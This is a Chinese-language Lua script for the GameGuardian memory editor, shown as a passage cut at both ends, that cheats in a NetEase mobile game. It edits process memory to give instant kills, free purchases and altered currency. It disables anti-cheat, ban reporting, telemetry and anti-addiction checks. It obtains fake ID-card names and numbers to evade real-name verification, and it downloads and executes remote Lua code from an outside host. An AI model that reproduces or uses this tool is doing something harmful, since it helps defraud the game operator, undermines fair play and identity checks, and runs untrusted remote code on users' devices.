语音播报("没有搜索数据") 提示("没有搜索数据") end end function rsxg1(value,lx,py,dj) if #sj~=nil then z={} for i=1,#sj do z[i]={} z[i].address=sj[i].address+py z[i].flags=lx z[i].value=value if dj==true then z[i].freeze=true end end if dj==true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end 语音播报("渲染范围内有"..#z.."人(除自己") 提示("渲染范围内有"..#z.."人(除自己") else 语音播报("没有搜索数据") 提示("没有搜索数据") end end function bc(bz) if sj~=nil then _ENV[bz]=sj else 语音播报("无数据") 提示("无数据") end end function BaAdd(add) if gg.getTargetInfo().x64==true then t=gg.getValues({[1]={address=add,flags=32}}) return t[1].value else t=gg.getValues({[1]={address=add,flags=4}}) return t[1].value&0xFFFFFFFF end end function set(dz,xg,lx,dj) if dj=="true" then gg.addListItems({{address=dz,flags=lx,value=xg,freeze=true}}) else gg.setValues({{address=dz,flags=lx,value=xg}}) end 语音播报("已修改完成~") 提示("已修改完成~") end function 下() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x94} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=-1205, freeze= true }}) end function 前() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x90} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=1205, freeze= true }}) end function 后() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x90} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=-1205, freeze= true }}) end function 左() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x98} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=1205, freeze= true }}) end function 右() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x98} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=-1205, freeze= true }}) end function 刹车() local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x94} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=0, freeze= true }}) local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x90} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=0, freeze= true }}) local t={"libclient.so:bss", "Cb"} local tt={0x426178, 0x0, 0x38, 0x8, 0x98} local ttt=S_Pointer(t, tt) gg.addListItems({{address=ttt, flags=16, value=0, freeze= true }}) end function 关() search("17039364","4","4") py1("16777215","4","-40") py1("257","4","-36") xg1("1","16","40","false") search("17039364","4","4") py1("16777215","4","-40") py1("257","4","-36") xg1("1","16","36","false") search("17039364","4","4") py1("16777215","4","-40") py1("257","4","-36") xg1("1","16","44","false")end function 杀() drw() CT= true while CT do gg.clearResults() local Search_array={{4652218415073722371, 32, 4, "定制版秒杀"}, {2164260864, -80, 32}, {236227496247808, -68, 32}, {2199026335744, -56, 32}, {236227496247808, -52, 32}, {3080192, -40, 32}, {0, -36, 32}, {0, -32, 32}, {4575657221408423936, -28, 32}, {1065353216, -24, 32}, {0, -20, 32}, {0, -16, 32}, {4489188105126936576, -12, 32}, {4652218415073722371, 0, 32}, {4.5, 4, 16}, } local Modifythe_array={{999999, 8, 16, false }, {999999, 12, 16, false }, } LSQ_pointer(Search_array, Modifythe_array) end end function 毒() drw() search(17039364, 4, 4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(-9.99999968e37, 16, 96, true ) XGBase({gg.getRangesList('libclient.so')[1].start}, {{99, 16, 0xB25DC8}, }) end function 毒2() drw() search(17039364, 4, 4) py1(16777215, 4, -40) py1(257, 4, -36) xg1(1, 16, 96, false ) XGBase({gg.getRangesList('libclient.so')[1].start}, {{1.3229032e-22, 16, 0xB25DC8}, }) end function 离() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-10, 4, 92, true ) xg1(-10, 4, 84, true ) end function 离2() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-10, 4, 92, false ) xg1(-10, 4, 84, false ) end function 刀() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 11, 100, true ) end function 刀2() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(0, 11, 100, true ) end function 隐刀() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-114514, 4, 92, true ) xg1(-114514, 4, 84, true ) search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 4, 100, true ) end function 隐刀2() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-114514, 4, 92, false ) xg1(-114514, 4, 84, false ) search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55, 4, 100, false ) end function 杀2() drw() CT= false end function 速() drw() search(6.4189647385E-313, 64, 4) xg1(2, 64, 396, false ) end function 速2() drw() search(6.4189647385E-313, 64, 4) xg1(0, 64, 396, false ) end function 飞s() drw() search(6.4189647385E-313, 64, 4) xg1(2, 64, 396, false ) end function 飞s2() drw() search(6.4189647385E-313, 64, 4) xg1(0, 64, 396, false ) end function 音s() drw() search(6.4189647385E-313, 64, 4) xg1(4, 64, 396, false ) end function 音s2() drw() search(6.4189647385E-313, 64, 4) xg1(0, 64, 396, false ) end function 光s() drw() search(6.4189647385E-313, 64, 4) xg1(9, 64, 396, false ) end function 光s2() drw() search(6.4189647385E-313, 64, 4) xg1(0, 64, 396, false ) end function 广() drw() XGBase({gg.getRangesList('libclient.so')[1].start}, {{125, 16, 0xBD00A8}, }) end function 广2() drw() XGBase({gg.getRangesList('libclient.so')[1].start}, {{0.01745329238, 16, 0xBD00A8}, }) end function 无() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("-3.28151297569", gg.TYPE_FLOAT, false , gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("0.114514114514", gg.TYPE_FLOAT) end function 无2() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("0.114514114514", gg.TYPE_FLOAT, false , gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("-3.28151297569", gg.TYPE_FLOAT) end function 实名认证() string.toMusic("正在生成云端身份证,请稍等") sleep("2800") Y=gg.makeRequest("http://api.yujn.cn/api/sjsfz.php").content --获取云端数据 Q=string.match(Y,'hitokoto(.+)type') string.toMusic(""..""..Y.."") cdfw=true while cdfw do QD = gg.alert(Y,"名字C","号码T","退出") if QD == 1 then local hm=Y:match("(.-)%-") gg.copyText(hm) string.toMusic("复制成功,请复制号码或退出") end if QD == 2 then local name=Y:match("%-([^%-]+)") gg.copyText(name) string.toMusic("复试成功,请复制名字或退出") end if QD == 3 then string.toMusic("已退出") cdfw=false end end end local loadingBox = getLoadingBox('正在连接服务器中...') loadingBox['显示']() link='https://sharechain.qq.com/4626059ab5a6a71235ecddde66524f3d' local Acq = gg.makeRequest(link).content local Server = Acq:match('【服务器】(.-)【服务器】') loadingBox['关闭']() if Server == '关' then gg.toast("服务器已关闭") os.exit(gg.alert("服务器状态异常","error\n 服务器连接失败,请联系管理员")) else if Server == '开' then gg.alert("服务器连接成功") end end function huiz() --绘制内容必须写在这里否则会消失 draw3 = require("draw3") draw.setStyle("填充") draw.setColor('#00ffff') end 左上角标题='花L絮※恋少' 左上角头像='https://image.api.losfer.cn/view.php/35484361c29393dec5914152826eef1a.png' 悬浮窗图标='https://image.api.losfer.cn/view.php/35484361c29393dec5914152826eef1a.png' 侧边图像='https://pan.jl8.top/down.php/2cce35706b5a3371ae1853b274fb288f.' 分页名字={ "主页", "防封", "战斗", "功能", "人物", "灵体", "查找", "世界", "传送", "教程", "音乐", "设置", "快捷", } changan.menu({ {---公告 changan.text("花L絮-恋少","#87CEFA","35sp"), changan.text("LS--恋少","#87CEFA"), changan.switch("第三方用户协议", function() luajava.newThread(function() fw1=false gg.alert("感谢您选择使用我们的软件\n在使用该软件之前请仔细阅读以下说明内容并确保您遵守法律法规和道德规范。\n1. 软件适用范围:本软件仅供参考学习之用。用户需要自行承担使用该软件可能带来的风险和责任,包括但不限于游戏账号封禁等。请用户合法合理使用本软件并遵守相关游戏或平台的规定。\n2. 免责声明:由于外挂软件的使用可能涉及侵权、犯罪等行为,开发者对于使用者的行为不承担任何法律责任。如有反法律法规之行为,开发者将不为其承担任何法律责任。\n3. 功能介绍:该软件提供一些额外的辅助功能以提升用户在所需领域的学习效果,但并不具备自主完成任务的能力。用户在使用软件的过程中需要灵活运用学习资源并结合自身的实际情况进行学习。\n4. 安全保障:我们严格遵守国家法律法规的规定,采取各种安全措施确保软件的安全性。然而,由于互联网环境的不确定性和非法黑客的存在,我们无法完全保证软件的绝对安全性。用户在下载、安装和使用软件时应自行承担风险。\n5. 法律合规:用户在使用本软件时需自行承担遵守当地法律法规的责任。任何非法使用行为都是用户人的行为,与本软件的开发者无关。如果用户违反国家法律法规的规定,软件开发者将主动配合相关部门进行调查并提供用户违法犯罪的证据。\n请您仔细阅读并遵守以上使用说明。如有任何问题或建议,请随时联系我们的客服团队,我们将尽力您提供帮助与支持。\n继续使用则表示同意以上条款\n感谢您的支持与合作") end):start() end), changan.button( "选择进程", function() gg.setRanges(-2080896) gg.clearResults() gg.searchNumber(":proxima.nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":acsdk.gameyw.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":cc.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.diyToast("开始收集数据") gg.setProcessX() gg.setRanges(-2080896) gg.clearResults() gg.searchNumber(":proxima.nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":acsdk.gameyw.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() gg.searchNumber(":cc.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":落殇阁牛逼", gg.TYPE_BYTE) print("本次拦截"..gg.getResultCount().."个结果") gg.clearResults() end), changan.switch('随机视频', function() gg.alert("跳转成功") gg.goURL("http://av.host.gay/vipjk.php") end ), changan.button( "检测进程位数", function() end), changan.button("检测渠道", function() function xxhq() local time = os.date("%Y年%m月%d日 %H:%M:%S", os.time()) local info = gg.getTargetInfo() local processName = info and info['activities'] and info['activities'][1]['label'] or "未知进程名称" local packageName = gg.getTargetPackage() or "未知包名" local appDataPath1 = info and info['dataDir'] or "未知数据路径1" local appDataPath2 = "/data/data/" .. packageName .. "/files" local xtxx = "当前时间: " .. time .. "\n进程名称: " .. processName .. "\n进程包名: " .. packageName .. "\n数据路径1: \n" .. appDataPath1 .. "\n数据路径2: \n" .. appDataPath2 -- 识别渠道服代码 local channel = 识别渠道服(packageName) xtxx = xtxx .. "\n渠道服: " .. channel gg.clearResults() gg.setRanges(16384) gg.searchNumber("5,171,064,759,147,036,672", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) local bitType = gg.getResultCount() == 0 and "64位" or "32位" xtxx = xtxx .. "\n进程位数: " .. bitType local memorySetting gg.clearResults() gg.setRanges(4) gg.searchNumber("1000", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() == 0 then gg.clearResults() gg.setRanges(-2080896) gg.searchNumber("1000", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) memorySetting = gg.getResultCount() == 0 and "A内存" or "O内存" else memorySetting = "Ca内存" end xtxx = xtxx .. "\n内存设置: " .. memorySetting gg.alert(xtxx) gg.clearResults() end -- 识别渠道服的函数 function 识别渠道服(packageName) -- 这里列举了“重装上阵”游戏的渠道服包名特征 local channels = { ["com.netease.zzsz"] = "网易官服", -- 网易官方包名 ["com.tencent.tmgp.eyou.zzsz"] = "虫虫助手", -- 虫虫助手包名 ["com.netease.wxzc.bazhang"] = "7723", -- 7723包名 ["com.netease.wxzc.ab"] = "应用宝", -- 应用宝包名 ["com.netease.wxzc.4399"] = "4399", -- 4399包名 ["com.ghzs"] = "光环助手", -- 光环助手包名 ["com.vivo.xiangjiazhan"] = "VIVO手机应用商店", ["com.oppo.xiangjiazhan"] = "OPPO手机应用商店", ["com.huawei.xiangjiazhan"] = "华为手机应用商店", ["com.meizu.mstore"] = "魅族渠道服", ["com.qihoo.appstore"] = "360渠道服", -- 360应用商店包名 ["com.netease.wxzc.qihoo"] = "360渠道服" -- 360手机助手包名 } return channels[packageName] or "未知渠道服" end xxhq() end ), changan.button( "搜索数据跟踪", function() luajava.setFloatingWindowHide(false) end), changan.button("随机文案", function () Y=gg.makeRequest("https://v1.hitokoto.cn/").content --获取云端数据 Q=string.match(Y,'hitokoto(.+)type') --模式匹配他们中的一切字符 F=string.gsub(Q,'":"',"") K=string.gsub(F,'","',"") --删除多余垃圾 string.toMusic("\n\n"..""..K.."") QD = gg.alert("今日文案:\n\n"..""..K.."") if QD == 1 then end if QD == 3 then end end), changan.button('本辅助黑名单', function() Y=gg.makeRequest("https://v1.hitokoto.cn/").content --获取云端数据 Q=string.match(Y,'hitokoto(.+)type') --模式匹配他们中的一切字符 F=string.gsub(Q,'":"',"") K=string.gsub(F,'","',"") --删除多余垃圾 local time = os.date("%Y年%m月%d日 %H:%M:%S", os.time()) gg.alert("当前时间: " .. time .."\n1:\n原因:\n\n2:\n原因:\n\n3:\n原因:\n\n"..K.."") end ), changan.switch("过实名", function() 实名认证() end , function() 实名认证() end), changan.box({"绑定进程[root]", changan.switch( '网易官服', function() app.start("com.netease.zzsz")---打开游戏 游戏包名 checkPkg("com.netease.zzsz")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() app.start("com.netease.zzsz")---打开游戏 游戏包名 checkPkg("com.netease.zzsz")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end), changan.switch( '4399', function() app.start("com.netease.wxzc.m4399")---打开游戏 游戏包名 checkPkg("com.netease.wxzc.m4399")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() app.start("com.netease.wxzc.m4399")---打开游戏 游戏包名 checkPkg("com.netease.wxzc.m4399")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end), changan.switch( '虫虫助手', function() app.start("com.tencent.tmgp.eyou.zzsz")---打开游戏 游戏包名 checkPkg("com.tencent.tmgp.eyou.zzsz")---选择进 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), changan.switch( '7723', function() app.start("com.netease.wxzc.bazhang")---打开游戏 游戏包名 checkPkg("com.netease.wxzc.bazhang")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), changan.switch( 'vivo', function() app.start("com.vivo.xiangjiazhan")---打开游戏 游戏包名 checkPkg("com.vivo.xiangjiazhan")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), changan.switch( '360', function() app.start("com.netease.wxzc.m4399")---打开游戏 游戏包名 checkPkg("com.netease.wxzc.m4399")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), changan.switch( '华为', function() app.start("com.huawei.xiangjiazhan")---打开游戏 游戏包名 checkPkg("com.huawei.xiangjiazhan")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), changan.switch( 'oppo', function() app.start("com.oppo.xiangjiazhan")---打开游戏 游戏包名 checkPkg("com.oppo.xiangjiazhan")---选择进程 loadYunLua("https://downlua.netlify.app/suanfa2.lua?download") end, function() end), }), changan.box({"数据隐藏", changan.switch( "玩家主页虚假信息", function() gg.clearResults() gg.setRanges(4) gg.searchNumber("624605071", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll("99999998", gg.TYPE_DWORD) end, function() gg.clearResults() gg.setRanges(4) gg.searchNumber("99999998", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll("624605071", gg.TYPE_DWORD) end ), changan.switch( "玩家局内ID虚假信息", function() gg.clearResults() gg.setRanges(4) gg.searchNumber(":ID:", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(15) gg.editAll(":💊", gg.TYPE_BYTE) end, function() gg.clearResults() gg.setRanges(4) gg.searchNumber(":💊", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(15) gg.editAll(":ID:", gg.TYPE_BYTE) end ), }), changan.box({"兑换!抽奖", changan.button( "获取兑换码", function() gg.copyText("wxkxkp4amt") end ), changan.button( "获取抽奖幸运号", function() gg.copyText("9898") end ), changan.button( "新号必备抽奖码", function() 编号=gg.prompt({"请输入自己编号的后4位数字"},{""},{"text"}) if 编号==nil then elseif 编号[1]=="" then gg.alert([=[ 目标内容: nil-为空 ]=]) else gg.alert("目标内容:\n" .. 编号[1]) gg.alert(编号[1]) end end ), }), changan.box({"深区功能", changan.button( "配饰进程", function() app.start("com.netease.wxzc.m4399")---打开游戏 游戏包名 checkPkg("com.netease.wxzc.m4399")---选择进程 end ), changan.button("计算器", function() function calculate(expression) local result = load("return " .. expression)() return result end function main() while true do local mm = gg.prompt({[1]="请输入算式",[2]="退出程序:在下方输入"},{"","exit"},{"text","text"}) if mm[1] == "exit" then break end local result = calculate(mm[1]) timeButton.text = "计算结果:\n".. result gg.sleep(1800) timeButton.text = "点击刷新◆\n"..os.date("%Y/%m/%d %H:%M:%S") end end main() end), changan.button("4399白号", function() g.alert("有可能会失败") gg.alert(gg.makeRequest("http://api.akun666.top/API/4399.php").content) gg.copyText(gg.makeRequest("http://api.akun666.top/API/4399.php").content) gg.alert("已复制") end), }), changan.box({"通用功能", changan.box({"财产功能", changan.switch("修改星币", function() 改金币() end, function() end), changan.switch("修改源石", function() 改源石() end, function() end), changan.switch("256元购", function() drw() xtnb({{false,1000,0,4,nil,nil},{25000,-120,4},{100000,12,4},{800,120,4},{80000,132,4},{9000,168,4},{10000,180,4}},{{256,-120,4,false},{255,0,4,false},{254,12,4,false},{253,120,4,false},{252,132,4,false},{251,168,4,false},{250,180,4,false}},4,4,"256元购") end, function() drw() xtnb({{false,255,0,4,nil,nil},{256,-120,4},{254,12,4},{253,120,4},{252,132,4},{251,168,4},{250,180,4}},{{25000,-120,4,false},{1000,0,4,false},{100000,12,4,false},{800,120,4,false},{80000,132,4,false},{9000,168,4,false},{10000,180,4,false}},4,4,"256元购关") end), changan.switch("0元购", function() drw() xtnb({{false,1000,0,4,nil,nil},{25000,-120,4},{100000,12,4},{800,120,4},{80000,132,4},{9000,168,4},{10000,180,4}},{{0,-120,4,false},{0,0,4,false},{0,12,4,false},{0,120,4,false},{0,132,4,false},{0,168,4,false},{0,180,4,false}},4,4,"0元购") end, function() drw() xtnb({{false,255,0,4,nil,nil},{256,-120,4},{254,12,4},{253,120,4},{252,132,4},{251,168,4},{250,180,4}},{{25000,-120,4,false},{1000,0,4,false},{100000,12,4,false},{800,120,4,false},{80000,132,4,false},{9000,168,4,false},{10000,180,4,false}},4,4,"0元购关") end), }), changan.box({"井底之蛙", changan.switch("井底之蛙", function() drw() xtnb({{false,-1.3681000471115112,0,16,nil,nil},{1.0,-40,16},{1.3681000471115112,-24,16},{0.0,-16,16},{1.5104999542236328,-12,16},{0.0,-4,16}},{{99.114514,-40,16,false},{99.1145141,-24,16,false},{99.1145142,-16,16,false},{99.1145143,-12,16,false},{99.1145144,-4,16,false},{99.1145145,0,16,false}},16,4,"井底之蛙") end, function() drw() xtnb({{false,99.1145145,0,16,nil,nil},{99.114514,-40,16},{99.1145141,-24,16},{99.1145142,-16,16},{99.1145143,-12,16},{99.1145144,-4,16}},{{1.0,-40,16,false},{1.3681000471115112,-24,16,false},{0.0,-16,16,false},{1.5104999542236328,-12,16,false},{0.0,-4,16,false},{-1.3681000471115112,0,16,false}},16,4,"井底之蛙") end), }), }), },{---UI设置 changan.button( "封号原因?", function() local newCount="第三方软件", gg.alert("封号原因为 ".. newCount.. "\n请重建新号") end), changan.button( "查看特征举报", function() gg.clearResults() gg.setRanges(4) gg.searchNumber(":appdump.nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) local resultsCount = gg.getResultCount() local divisor = resultsCount >= 100 and 100 or 1 local newCount = math.floor(resultsCount / divisor) gg.alert("有 ".. newCount.. "条举报数据") gg.editAll(":appdump.nie.netease.com", gg.TYPE_BYTE) end), changan.button( "清理特征举报", function() gg.clearResults() gg.setRanges(4) gg.searchNumber(":appdump.nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll(":0", gg.TYPE_BYTE) end ), changan.button( "一键封号", function() gg.clearResults() gg.setRanges(4) gg.searchNumber("1.75", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("1.75", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) jg=gg.getResults(100) sl=gg.getResultCount() for i = 1, sl do dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_FLOAT,freeze = true,value = 999999}}) end gg.toast("封号成功") gg.clearResults() end ), changan.switch("基址扫杀v10", function() local f = io.open("/storage/emulated/0/防封文件.lua", "r") f = io.open("/storage/emulated/0/防封文件.lua", "w") f:write("101.1 (16142) 1-8-1701438230000-4F11E7BCB39789B6-9644 0-8-1677525294000-java.lang.ArrayIndexOutOfBoundsException: inBytes-4376544 2-0-1746438902000-60BB2D813A24794C-250744 10671437 278 88f2eba713 on 127.0.0.13,400,000,511,170,344,040 mtalk.google.com ") search(131563,4,16) xg1(-1,4,16,true) search(132587,4,16) xg1(-1,4,16,true) gg.clearResults() gg.searchNumber(":acsdk.gameyw.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":114514", gg.TYPE_BYTE) gg.setRanges(-2080896) gg.clearResults() gg.searchNumber(":proxima.nie.netease.com", gg.TYPE_BYTE, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll(":114514", gg.TYPE_BYTE) search(47,1,4) py1(58,1,-27) py1(120,1,-23) py1(110,1,-19) py1(112,1,-16) py1(110,1,-11) xg1(0,1,173,true) search(104,1,4) py1(-84,1,-16) py1(71,1,-15) py1(115,1,4) py1(116,1,10) py1(101,1,14) py1(110,1,24) xg1(0,1,180,true) search(-119,1,4) py1(111,1,40) py1(110,1,44) py1(116,1,51) xg1(0,1,196,true) end, function() drw() sleep(120) hzrs =false end), changan.switch("防封v12", function() gg.clearResults() gg.setRanges(4) gg.searchNumber("3,400,000,511,170,344,040", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020)--我知道你解开这里会看到这些,不要乱传,谢谢! gg.editAll("0", gg.TYPE_QWORD) end, function() drw() sleep(120) hzrs =false end), changan.box({ "防封" , changan.switch( "防沉迷" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("4,121,695,458,084,024,417", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("4,121,695,458,084,024,417", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end),changan.switch( "防统计" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,598,805,550,879,240,304", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,598,805,550,879,240,304", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防热修" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,939,415,587,185,847,925", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,939,415,587,185,847,925", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防载入" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,604,866,081,025,902", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,604,866,081,025,902", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防封号" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,018,629,583,061,869,409", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,018,629,583,061,869,409", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防充值" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,830,339,968,955,489", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("7,308,830,339,968,955,489", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防诊断" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("8,459,009,628,076,182,531", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("8,101,260,378,952,982,807", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) gg.clearResults() gg.setRanges(4) gg.searchNumber("3,346,294,874,099,970,145", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("8,459,009,628,076,182,531", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防IP查" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("3,343,194,220,338,833,527", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("3,343,194,220,338,833,527", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "禁资源" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("8,588,134,942,460,114,024", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("8,588,134,942,460,114,024", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end), changan.switch( "防人工" , function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("2,684,483,087,738,479,940", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("2,684,483,087,738,479,940", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("0", gg.TYPE_QWORD) end ), }), changan.switch( "一键开启", function() gg.clearResults() gg.setRanges(4) 